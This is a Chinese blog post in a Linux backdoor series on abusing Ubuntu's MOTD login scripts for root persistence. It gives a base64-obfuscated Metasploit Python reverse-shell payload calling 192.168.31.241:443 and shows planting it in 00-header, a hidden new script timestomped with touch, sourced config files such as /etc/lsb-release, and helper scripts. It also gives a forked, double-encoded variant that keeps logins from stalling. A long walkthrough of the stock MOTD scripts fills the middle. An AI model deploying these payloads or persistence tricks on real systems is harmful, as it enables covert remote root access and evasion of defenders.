MOTD 后门引发的思考 | Linux 后门系列
最近看了苑房弘老师的打靶课程,发现了 MOTD 这个东西,于是研究了一下,发现很适合做后门,早在08年以前就有恶意软件使用了这种方式,今天系统地研究一下
motd,全称Message Of The Day,是Linux中发送问候消息的功能,一般在我们登录服务器后显示
每次任意用户登录时都会触发motd
服务的功能,这个功能的脚本几乎都是使用root
权限来启动的,所以很适合用来做后门
实用部分
随着关注我们的朋友越来越多,我们已经开始警觉性的将思考与使用尽可能分为两个方面,因为一部分人的需求就是不需要思考,直接拿过来用,所以先上实用部分
motd 脚本文件位置
在 Ubuntu 18.04中 motd
的动态脚本都在 /etc/update-motd.d/
这个目录下
这些脚本动态的组合成了我们上面看到的那么 Banner
信息
这些文件只允许 root
用户编辑,所以使用此后门需要先获取root权限
留后门
这个目录下的所有文件在任意用户登录后都会执行一遍,所以我们可以选择新建一个脚本或者修改其中的脚本来完成留后门的目的
以 00-header
文件为例
#!/bin/sh
#
# 00-header - create the header of the MOTD
# Copyright (C) 2009-2010 Canonical Ltd.
#
# Authors: Dustin Kirkland <kirkland@canonical.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
[ -r /etc/lsb-release ] && . /etc/lsb-release
if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
# Fall back to using the very slow lsb_release utility
DISTRIB_DESCRIPTION=$(lsb_release -s -d)
fi
printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"
可以看出这些文件都是 bash
可执行脚本,想知道脚本什么含义,我们直接手动执行一下脚本就好
打印了一串 banner
信息,也就是最初我们登录后显示的 banner
信息中的第一行信息,打印这串信息是由下面这行代码实现的
printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"
这是一条 shell
命令,所以我们可以知道,在这些脚本文件中的 shell
代码是会在任意用户登录后执行的,所以就出现了两种留后门的方案
修改默认脚本
新建恶意脚本
修改默认脚本
msf
生成基于 python
的 payload
组合后的 payload
python3 -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMzEuMjQxJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))"
修改 00-header
,添加我们的 payload
开启监听,并退出当前登录,重新登录
成功上线,并且获取到 root
权限
新建恶意脚本
这样我们就新建了一个恶意脚本,将恶意脚本的创建时间设置为和其他脚本一致
sudo touch -acmr /etc/update-motd.d/95-hwe-eol /etc/update-motd.d/.20-network-dist
监听,退出,登录
成功获取 root
权限
思考部分
这一部分就比较繁杂了,涉及到一些思考的思路,可能在错误的路上绕来绕去,但这都是我们正常的思考过程
MOTD 简介
MOTD
的历史很悠久,具体可以参考下面这篇文章:
浅谈motd的历史,并在Linux下使用多种方法实现动态motd消息显示
https://untitled.pw/software/linux/2337.html
一开始我以为MOTD 是一项服务
从 MOTD
的表现形式来看,我以为 MOTD
是一项服务
既然是一项服务,我们就可以查看这项服务的详细信息
结果发现 MOTD
服务的配置文件是空的,空的配置文件是无法启动一项服务的
但是刚才我们设置后门的时候明明是正常的,所以我猜测可能服务名字不叫 MOTD
,而是 MOTD-XXX
好巧不巧的是,正好有一项服务叫做 motd-new
,接下来我就对 motd-news
这个服务进行了一顿分析
可以看到 motd
服务,准确说叫 motd-news
服务的具体配置文件了,这里涉及一个启动文件 /etc/update-motd.d/50-motd-news
这个文件在 /etc/update-motd.d/
目录下,也就是刚才我们放置恶意脚本的地方
具体关于系统服务相关的知识可以查看
systemctl 针对 service 类型的配置文件
https://wizardforcel.gitbooks.io/vbird-linux-basic-4e/content/150.html
/etc/update-motd.d/50-motd-news
文件内容比较长
#!/bin/sh
#
# 50-motd-news - print the live news from the Ubuntu wire
# Copyright (C) 2016-2020 Canonical Ltd.
# Copyright (C) 2016-2017 Dustin Kirkland
#
# Authors: Dustin Kirkland <kirkland@canonical.com>
# Steve Langasek <steve.langasek@canonical.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
##############################################################################
# This program could be rewritten in C or Golang for faster performance.
# Or it could be rewritten in Python or another higher level language
# for more modularity.
# However, I've insisted on shell here for transparency!
# - Dustin
##############################################################################
# Source the local configuration
[ -r /etc/default/motd-news ] && . /etc/default/motd-news
# Exit immediately, unless we're enabled
# This makes this script very easy to disable in /etc/default/motd-news configuration
[ "$ENABLED" = "1" ] || exit 0
# Ensure sane defaults
[ -n "$URLS" ] || URLS="https://motd.ubuntu.com"
[ -n "$WAIT" ] || WAIT=5
[ -n "$CACHE" ] || CACHE="/var/cache/motd-news"
[ "$1" = "--force" ] && FORCED=1
# Ensure we print safely, maximum of the first 10 lines,
# maximum of the first 80 chars per line, no control chars
safe_print() {
cat "$1" | head -n 10 | tr -d '\000-\011\013\014\016-\037' | cut -c -80
}
# If we're not forcing an update, and we have a cached motd-news file,
# then just print it and exit as quickly as possible, for login performance.
# Note that systemd should keep this cache file up to date, asynchronously
if [ "$FORCED" != "1" ]; then
if [ -r $CACHE ]; then
echo
safe_print $CACHE
else
: > $CACHE
fi
exit 0
fi
# If we've made it here, we've been given the --force argument,
# probably from the systemd motd-news.service. Let's update...
# Abort early if wget is missing
[ -x /usr/bin/wget ] || exit 0
# Generate our temp files, clean up when done
NEWS=$(mktemp) || exit 1
ERR=$(mktemp) || exit 1
CLOUD=$(mktemp) || exit 1
trap "rm -f $NEWS $ERR $CLOUD" HUP INT QUIT ILL TRAP KILL BUS TERM
# Construct a user agent, similar to Firefox/Chrome/Safari/IE to
# ensure a proper, tailored, accurate message of the day
# wget browser version, for debug purposes
wget_ver="$(dpkg -l wget | awk '$1 == "ii" { print($3); exit(0); }')"
# Distribution version, for messages releated to this Ubuntu release
. /etc/lsb-release
lsb=$(echo "$DISTRIB_DESCRIPTION" | sed -e "s/ /\//g")
codename="$DISTRIB_CODENAME"
# Kernel version and CPU type, for messages related to a particular revision or hardware
platform="$(uname -o)/$(uname -r)/$(uname -m)"
arch="$(uname -m)"
cpu="$(grep -m1 "^model name" /proc/cpuinfo | sed -e "s/.*: //" -e "s:\s\+:/:g")"
cloud_id="unknown"
if [ -x /usr/bin/cloud-id ]; then
/usr/bin/cloud-id > "$CLOUD" 2>/dev/null
if [ $? -eq 0 ]; then
# sanitize it a bit, just in case
cloud_id=$(cut -c -40 "${CLOUD}" | tr -c -d '[:alnum:]')
if [ -z "${cloud_id}" ]; then
cloud_id="unknown"
fi
fi
fi
# Piece together the user agent
USER_AGENT="wget/$wget_ver $lsb $platform $cpu cloud_id/$cloud_id"
# Loop over any configured URLs
for u in $URLS; do
# Ensure https:// protocol, for security reasons
case $u in
https://*)
true
;;
https://motd.ubuntu.com)
u="$u/$codename/$arch"
;;
*)
continue
;;
esac
# If we're forced, set the wait to much higher (1 minute)
[ "$FORCED" = "1" ] && WAIT=60
# Fetch and print the news motd
result=0
not_found_is_ok=0
wget --timeout "$WAIT" -U "$USER_AGENT" -O- --content-on-error "$u" >"$NEWS" 2>"$ERR" || result=$?
# from wget's manpage: 8 Server issued an error response.
if [ $result -eq 8 ]; then
if grep -q "ERROR 404" "$ERR"; then
# The server's 404 document is the generic, non cloud-specific, motd-news
# content present in the index.txt file
not_found_is_ok=1
fi
fi
if [ $result -eq 0 ] || [ $not_found_is_ok -eq 1 ]; then
echo
# At most, 10 lines of text, remove control characters, print at most 80 characters per line
safe_print "$NEWS"
# Try to update the cache
safe_print "$NEWS" 2>/dev/null >$CACHE || true
else
: > "$CACHE"
fi
done
rm -f "$NEWS" "$ERR" "$CLOUD"
exit 0
很长的代码,好在有注释,我们挨行看一看
# Source the local configuration
[ -r /etc/default/motd-news ] && . /etc/default/motd-news
注释的意思是“使本地配置生效”
这里的[ -r xxx ]
是一种 if
判断,-r filename
如果 filename
可读,则为真。具体可以参照下面这篇文章:
Linux篇:shell脚本中if的 “-e,-d,-f”
https://www.jianshu.com/p/1f556bbfcd20
后面的 . /etc/default/motd-news
的意思是使/etc/default/motd-news
这个配置生效,等同于 source /etc/default/motd-news
连起来就是如果配置文件可读,那么就让这个配置文件生效。从文件内容来看应该是设置了三个环境变量
ENABLED=1
URLS="https://motd.ubuntu.com"
WAIT=5
这里就产生了第一个值得探究的问题了,.
或者 source
是如何让配置生效的
# Exit immediately, unless we're enabled
# This makes this script very easy to disable in /etc/default/motd-news configuration
[ "$ENABLED" = "1" ] || exit 0
这里是一个判断,如果 ENABLED=1
,则继续运行,否则退出脚本。这样就比较方便通过一个环境变量去控制开关
command1 || command2
如果||左边的命令(command1)未执行成功,那么就执行||右边的命令(command2)
# Ensure sane defaults
[ -n "$URLS" ] || URLS="https://motd.ubuntu.com"
[ -n "$WAIT" ] || WAIT=5
[ -n "$CACHE" ] || CACHE="/var/cache/motd-news"
[ "$1" = "--force" ] && FORCED=1
这里的 [ -n "$string" ]
是一种 if
判断,如果 string
非空,返回 true
其实也就是设置了一些缺省值,如果 $URLS
没有被设置,那么就设置其为 URLS="https://motd.ubuntu.com"
shell
编程中 $1
是指除了本文件以外的第一个参数,与 python 等语言中的 argv[1]
类似
# Ensure we print safely, maximum of the first 10 lines,
# maximum of the first 80 chars per line, no control chars
safe_print() {
cat "$1" | head -n 10 | tr -d '\000-\011\013\014\016-\037' | cut -c -80
}
确保打印字符安全合法
# If we're not forcing an update, and we have a cached motd-news file,
# then just print it and exit as quickly as possible, for login performance.
# Note that systemd should keep this cache file up to date, asynchronously
if [ "$FORCED" != "1" ]; then
if [ -r $CACHE ]; then
echo
safe_print $CACHE
else
: > $CACHE
fi
exit 0
fi
这是一个更新 cache 的操作,如果经过上面的代码,环境变量 $FORCED
不是 1
的话,就会在这里停止脚本,我们可以执行脚本试一下
# Abort early if wget is missing
[ -x /usr/bin/wget ] || exit 0
# Generate our temp files, clean up when done
NEWS=$(mktemp) || exit 1
ERR=$(mktemp) || exit 1
CLOUD=$(mktemp) || exit 1
trap "rm -f $NEWS $ERR $CLOUD" HUP INT QUIT ILL TRAP KILL BUS TERM
-x filename
如果 filename
可执行,则为真,这里确保 wget
命令存在
剩下几行就是生成一个临时文件,mktemp
用于生成一个临时文件
trap
用于捕捉某种信号,之后做一些操作,具体可以参照下面这篇文章
trap 命令,Linux trap 命令详解:捕捉信号和其他事件并执行命令。- Linux 命令搜索引擎
https://wangchujiang.com/linux-command/c/trap.html
# Construct a user agent, similar to Firefox/Chrome/Safari/IE to
# ensure a proper, tailored, accurate message of the day
# wget browser version, for debug purposes
wget_ver="$(dpkg -l wget | awk '$1 == "ii" { print($3); exit(0); }')"
# Distribution version, for messages releated to this Ubuntu release
. /etc/lsb-release
lsb=$(echo "$DISTRIB_DESCRIPTION" | sed -e "s/ /\//g")
codename="$DISTRIB_CODENAME"
# Kernel version and CPU type, for messages related to a particular revision or hardware
platform="$(uname -o)/$(uname -r)/$(uname -m)"
arch="$(uname -m)"
cpu="$(grep -m1 "^model name" /proc/cpuinfo | sed -e "s/.*: //" -e "s:\s\+:/:g")"
cloud_id="unknown"
if [ -x /usr/bin/cloud-id ]; then
/usr/bin/cloud-id > "$CLOUD" 2>/dev/null
if [ $? -eq 0 ]; then
# sanitize it a bit, just in case
cloud_id=$(cut -c -40 "${CLOUD}" | tr -c -d '[:alnum:]')
if [ -z "${cloud_id}" ]; then
cloud_id="unknown"
fi
fi
fi
# Piece together the user agent
USER_AGENT="wget/$wget_ver $lsb $platform $cpu cloud_id/$cloud_id"
这一整段代码用于构建一个 User-Agent
,如果你阅读了 MOTD
简介部分的那篇文章,你应该知道这段代码组合 User-Agent
内容是什么,不知道也没关系,我们看到这段代码的最后一行是一堆变量的组合,我们可以直接将代码保存为一个shell
脚本打印一下 USER_AGENT
的值
20
行存在报错,但是大部分内容都没问题,我们看一下 20
行是什么
$CLOUD
这个文件找不到,没关系,我们补齐这段代码
最终得到的 USER_AGENT
为
wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/4.15.0-161-generic/x86_64 Intel(R)/Core(TM)/i7-9700K/CPU/@/3.60GHz cloud_id/nocloud
这里包含了很多信息
wget
版本Ubuntu
发行版信息内核版本信息
CPU
架构信息CPU
型号信息cloud_id 这个
id
是一个分布式云服务相关的id
具体参照:
https://cloudinit.readthedocs.io/en/latest/
# Loop over any configured URLs
for u in $URLS; do
# Ensure https:// protocol, for security reasons
case $u in
https://*)
true
;;
https://motd.ubuntu.com)
u="$u/$codename/$arch"
;;
*)
continue
;;
esac
# If we're forced, set the wait to much higher (1 minute)
[ "$FORCED" = "1" ] && WAIT=60
# Fetch and print the news motd
result=0
not_found_is_ok=0
wget --timeout "$WAIT" -U "$USER_AGENT" -O- --content-on-error "$u" >"$NEWS" 2>"$ERR" || result=$?
# from wget's manpage: 8 Server issued an error response.
if [ $result -eq 8 ]; then
if grep -q "ERROR 404" "$ERR"; then
# The server's 404 document is the generic, non cloud-specific, motd-news
# content present in the index.txt file
not_found_is_ok=1
fi
fi
if [ $result -eq 0 ] || [ $not_found_is_ok -eq 1 ]; then
echo
# At most, 10 lines of text, remove control characters, print at most 80 characters per line
safe_print "$NEWS"
# Try to update the cache
safe_print "$NEWS" 2>/dev/null >$CACHE || true
else
: > "$CACHE"
fi
done
rm -f "$NEWS" "$ERR" "$CLOUD"
exit 0
剩下这一部分就是这个服务将刚刚组合的 USER-AGENT
作为 wget
的 User-Agent
参数向制定的服务器发起请求,之后根据请求结果进行不同的判断
我们拷贝一份完整的脚本,打印出我们感兴趣的值,比如 wget --timeout "$WAIT" -U "$USER_AGENT" -O- --content-on-error "$u" >"$NEWS" 2>"$ERR" || result=$?
具体是什么命令
wget --timeout "60" -U "wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/4.15.0-161-generic/x86_64 Intel(R)/Core(TM)/i7-9700K/CPU/@/3.60GHz cloud_id/nocloud" -O- --content-on-error "https://motd.ubuntu.com" >"/tmp/tmp.V1nleX99gq" 2>"/tmp/tmp.zvPfn44ikZ" || result=0
这段的意思就是向 https://motd.ubuntu.com
发送一个 GET
请求, 其中 User-Agent
就是我们电脑的那些信息,将结果写入我们生成的随机文件中
也就是说 /etc/update-motd.d/50-motd-news
文件的意义就是收集我们电脑上的一些信息,之后传递给 Ubuntu
官方,之后官方会返回一些信息给我们,这是不是涉及一些信息泄漏呢?
有文章说这个操作是为了当存在一些漏洞的时候,Ubuntu可以通过这个方式来传递给我们,也有文章指出是为了打一些广告
到这里我懵了呀, 根本没有执行 /etc/update-motd.d/
文件夹中的任何脚本,这是怎么回事?
之后查询相关资料后,我发现,其实 motd 并不是一个单独的服务,而是 PAM module
模块的一个组件,这样要完整分析的话就需要去从源代码层面去分析了,现在还不是做这个的时候,我们还是通过行为来进行分析
参照
https://man7.org/linux/man-pages/man8/pam_motd.8.html
从行为角度分析 motd
通过查阅一些资料,我们知道, motd
最早设计用来提示一些静态信息,也就是像黑板一样写上一些字符,给后续登录的用户传递一些信息,传递静态信息只需要向文件 /etc/motd
中写入要传递的字符就可以了,这个文件在 Ubuntu 18.04
中默认不存在,只需要新建就可以了。在这个文件中写入的所有内容都会被当作字符打印出来,所以没有什么利用价值
后来静态信息已经满足不了需求了,所以就出现了类似现在的电子黑板的东西——动态信息传递
可以执行一些指令,接下来,我们对这些脚本一个一个来看一看
00-header
#!/bin/sh
#
# 00-header - create the header of the MOTD
# Copyright (C) 2009-2010 Canonical Ltd.
#
# Authors: Dustin Kirkland <kirkland@canonical.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
[ -r /etc/lsb-release ] && . /etc/lsb-release
if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
# Fall back to using the very slow lsb_release utility
DISTRIB_DESCRIPTION=$(lsb_release -s -d)
fi
printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"
经过上面分析 50-motd-news
,我相信这里没有什么难度,就是打印一些信息
需要注意的是这里加载了一个配置文件 /usr/bin/lsb_release
,执行了一个程序 lsb_release
,其中 lsb_release
是一个 Python脚本
相信你已经想到这里的问题了,我们后面会进行探究
10-help-text
#!/bin/sh
#
# 10-help-text - print the help text associated with the distro
# Copyright (C) 2009-2010 Canonical Ltd.
#
# Authors: Dustin Kirkland <kirkland@canonical.com>,
# Brian Murray <brian@canonical.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
printf "\n"
printf " * Documentation: https://help.ubuntu.com\n"
printf " * Management: https://landscape.canonical.com\n"
printf " * Support: https://ubuntu.com/advantage\n"
也就是打印四行帮助信息
50-landscape-sysinfo
#!/bin/sh
cores=$(grep -c ^processor /proc/cpuinfo 2>/dev/null)
[ "$cores" -eq "0" ] && cores=1
threshold="${cores:-1}.0"
if [ $(echo "`cut -f1 -d ' ' /proc/loadavg` < $threshold" | bc) -eq 1 ]; then
echo
echo -n " System information as of "
/bin/date
echo
/usr/bin/landscape-sysinfo
else
echo
echo " System information disabled due to load higher than $threshold"
fi
从代码中我们可以看到,这里执行了 grep
、if
、 /bin/date
、/usr/bin/landscape-sysinfo
/bin/date
是一个二进制文件,我们这里先不直接搞二进制(当然你可以搞),不然就和命令替换没什么区别了
/usr/bin/landscape-sysinfo
是一个 Python 脚本,这似乎是我们可以修改的东西,这里就产生了我们可以探究的第二个问题
88-esm-announce
#!/bin/sh
stamp="/var/lib/ubuntu-advantage/messages/motd-esm-announce"
[ ! -r "$stamp" ] || cat "$stamp"
这里就是 cat
了一个文件而已
90-updates-available
#!/bin/sh
stamp="/var/lib/update-notifier/updates-available"
[ ! -r "$stamp" ] || cat "$stamp"
同上
91-contract-ua-esm-status
#!/bin/sh
stamp="/var/lib/ubuntu-advantage/messages/motd-esm-service-status"
[ ! -r "$stamp" ] || cat "$stamp"
同上
91-release-upgrade
#!/bin/sh
# if the current release is under development there won't be a new one
if [ "$(lsb_release -sd | cut -d' ' -f4)" = "(development" ]; then
exit 0
fi
if [ -x /usr/lib/ubuntu-release-upgrader/release-upgrade-motd ]; then
exec /usr/lib/ubuntu-release-upgrader/release-upgrade-motd
fi
这里执行了lsb_release
、cut
,满足条件的情况下会执行 /usr/lib/ubuntu-release-upgrader/release-upgrade-motd
这个脚本的意思是如果当前版本是开发版,则不会有新版本,也就是直接退出脚本
如果不是,则检查更新
如果 /usr/lib/ubuntu-release-upgrader/release-upgrade-motd
具有执行权限,则执行这个文件
默认存在这个文件,具备可执行权限
/usr/lib/ubuntu-release-upgrader/release-upgrade-motd
是一个 shell 脚本
这是第三个需要探究的问题
92-unattended-upgrades
#!/bin/sh
if [ -x /usr/share/unattended-upgrades/update-motd-unattended-upgrades ]; then
exec /usr/share/unattended-upgrades/update-motd-unattended-upgrades
fi
如果 /usr/share/unattended-upgrades/update-motd-unattended-upgrades
存在执行权限,则执行
默认存在这个文件,具备可执行权限
同上
95-hwe-eol
#!/bin/sh
if [ -x /usr/lib/update-notifier/update-motd-hwe-eol ]; then
exec /usr/lib/update-notifier/update-motd-hwe-eol
fi
如果 /usr/lib/update-notifier/update-motd-hwe-eol
存在执行权限,则执行
默认存在这个文件,具备可执行权限
同上
97-overlayroot
#!/bin/sh
(egrep "overlayroot|/media/root-ro|/media/root-rw" /proc/mounts 2>/dev/null | sort -r) || true
echo
这里是从 /proc/mounts 文件中筛选字符,之后对结果进行排序。没啥可探究的
98-fsck-at-reboot
#!/bin/sh
if [ -x /usr/lib/update-notifier/update-motd-fsck-at-reboot ]; then
exec /usr/lib/update-notifier/update-motd-fsck-at-reboot
fi
如果 /usr/lib/update-notifier/update-motd-fsck-at-reboot
存在执行权限,则执行
默认存在这个文件,具备可执行权限
同上
98-reboot-required
#!/bin/sh
if [ -x /usr/lib/update-notifier/update-motd-reboot-required ]; then
exec /usr/lib/update-notifier/update-motd-reboot-required
fi
如果 /usr/lib/update-notifier/update-motd-reboot-required
存在执行权限,则执行
默认存在这个文件,具备可执行权限
同上
这样所有的文件我们都分析完了,将其中可探究的内容做了标记,下面我们针对可探究的地方进行探究
探究
如果在 /etc/update-motd.d/
下建立目录,目录中的文件会执行吗?
答案是并不会,此时我怀疑是不是对目录权限有要求,所以我复制了 /etc/update-motd.d
这个目录的权限,之后创建了新的脚本
结果还是不会执行
source 和 . 是如何使策略配置生效的
参考
Linux Source Command with Examples
https://linuxhint.com/linux-source-command-examples/
文章指出,很简单,其实就是执行了这个配置文件,这样配置文件中的赋值就会以环境变量的方式生效,而shell脚本也会实现相应的效果
我们做个实验
可以看到, source
和 .
确实是执行了脚本中的内容,那这个话题就大了,我们先所有范围,只探究 motd
中默认加载的配置文件
00-header
->. /etc/lsb-release
50-motd-news
->. /etc/default/motd-news
我们尝试在 /etc/lsb-release
中加入恶意指令
成功反弹 shell
,并且我们可以看到,这个文件中只有一些环境变量。
我们恢复 /etc/lsb-release
,在 /etc/default/motd-news
做同样的实验
一样可以反弹 shell
所以我们在实用部分直接修改
/etc/update-motd.d/
下的脚本或多或少有些鲁莽了,我们可以通过修改这些配置文件来达到一样的效果
如果我在 source 或 . 指定的文件中套娃会怎么样
没错,接下来我们要探究的是在 /etc/lsb-release
文件中再 source
其他文件
从这里可以看到,我们可以无限套娃,所以我们可以通过设置一系列看似合理的配置文件,之后执行我们的命令
其实这部分内容在之前研究其他后门的时候就已经探究过了,但是考虑很多兄弟没看过之前的文章,所以这次重提一下
这个点说透以后,能用来做后门的可就不止 motd 这一个组件了,你可以想象一下,得有多少地方会使用 source
或 . 来加载配置文件呀,这完全可以作为一个单独的后门方式去讲,但这里已经讲了就不单独开章节了
我们在 Ubuntu 18.04
中简单搜索一下
粗略的计算有 196
个
这就是说这些文件中我们都可以塞进去一些恶意程序
这个可扩展性太强了,我在之前的文章中已经说过一部分了,大家可以继续思考,做出更多隐蔽的后门方法,同时呢,也是给这些做应急响应的兄弟提个醒,可以从某些角度去发现恶意程序
motd 脚本中涉及的 python 脚本
00-header
->/usr/bin/lsb_release
50-motd-news
->/usr/bin/landscape-sysinfo
50-motd-news
->/usr/bin/cloud-id
python
脚本我们尝试将我们的 payload
直接插入进去
/usr/bin/lsb_release
会卡住
/usr/bin/cloud-id
只有启动 motd-news
服务的时候才会执行
/usr/bin/landscape-sysinfo
成功返回shell
motd 脚本中执行的其他 shell 脚本
91-release-upgrade
->/usr/lib/ubuntu-release-upgrader/release-upgrade-motd
92-unattended-upgrades
->/usr/share/unattended-upgrades/update-motd-unattended-upgrades
95-hwe-eol
->/usr/lib/update-notifier/update-motd-hwe-eol
98-fsck-at-reboot
->/usr/lib/update-notifier/update-motd-fsck-at-reboot
98-reboot-required
->/usr/lib/update-notifier/update-motd-reboot-required
我们直接向其中加入恶意代码
/usr/lib/ubuntu-release-upgrader/release-upgrade-motd
同理,其他shell
脚本也是一样
这里面可变化的项也是太多了,这些外部 shell
脚本本身就有好多代码,如果在其中插入一些隐蔽的指令或者干脆使用上面探究的 source
的方法,其实是很难发现的
插入指令后登录功能卡住
有些场景下,插入我们的指令后出现登录卡住的问题,当然反弹shell 没有问题,ssh 的正常功能收到了影响
可以使用 Linux
的 fork
,让父进程退出,子进程继续执行,这样就一般就不会卡住了(这里的/usr/bin/lsb_release
还是会卡住,可能是调用方式的问题 )
python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IG9zCnJldCA9IG9zLmZvcmsoKQppZiByZXQgPiAwOgogICAgZXhpdCgpCmVsc2U6CiAgICB0cnk6CiAgICAgICAgZXhlYyhfX2ltcG9ydF9fKCdiYXNlNjQnKS5iNjRkZWNvZGUoX19pbXBvcnRfXygnY29kZWNzJykuZ2V0ZW5jb2RlcigndXRmLTgnKSgnYVcxd2IzSjBJSE52WTJ0bGRDeDZiR2xpTEdKaGMyVTJOQ3h6ZEhKMVkzUXNkR2x0WlFwbWIzSWdlQ0JwYmlCeVlXNW5aU2d4TUNrNkNnbDBjbms2Q2drSmN6MXpiMk5yWlhRdWMyOWphMlYwS0RJc2MyOWphMlYwTGxOUFEwdGZVMVJTUlVGTktRb0pDWE11WTI5dWJtVmpkQ2dvSnpFNU1pNHhOamd1TXpFdU1qUXhKeXcwTkRNcEtRb0pDV0p5WldGckNnbGxlR05sY0hRNkNna0pkR2x0WlM1emJHVmxjQ2cxS1Fwc1BYTjBjblZqZEM1MWJuQmhZMnNvSno1Skp5eHpMbkpsWTNZb05Da3BXekJkQ21ROWN5NXlaV04yS0d3cENuZG9hV3hsSUd4bGJpaGtLVHhzT2dvSlpDczljeTV5WldOMktHd3RiR1Z1S0dRcEtRcGxlR1ZqS0hwc2FXSXVaR1ZqYjIxd2NtVnpjeWhpWVhObE5qUXVZalkwWkdWamIyUmxLR1FwS1N4N0ozTW5Pbk45S1FvPScpWzBdKSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk=')))"
python
版本
import os
ret = os.fork()
if ret > 0:
exit()
else:
try:
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMzEuMjQxJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))
except Exception as e:
exit()
往期文章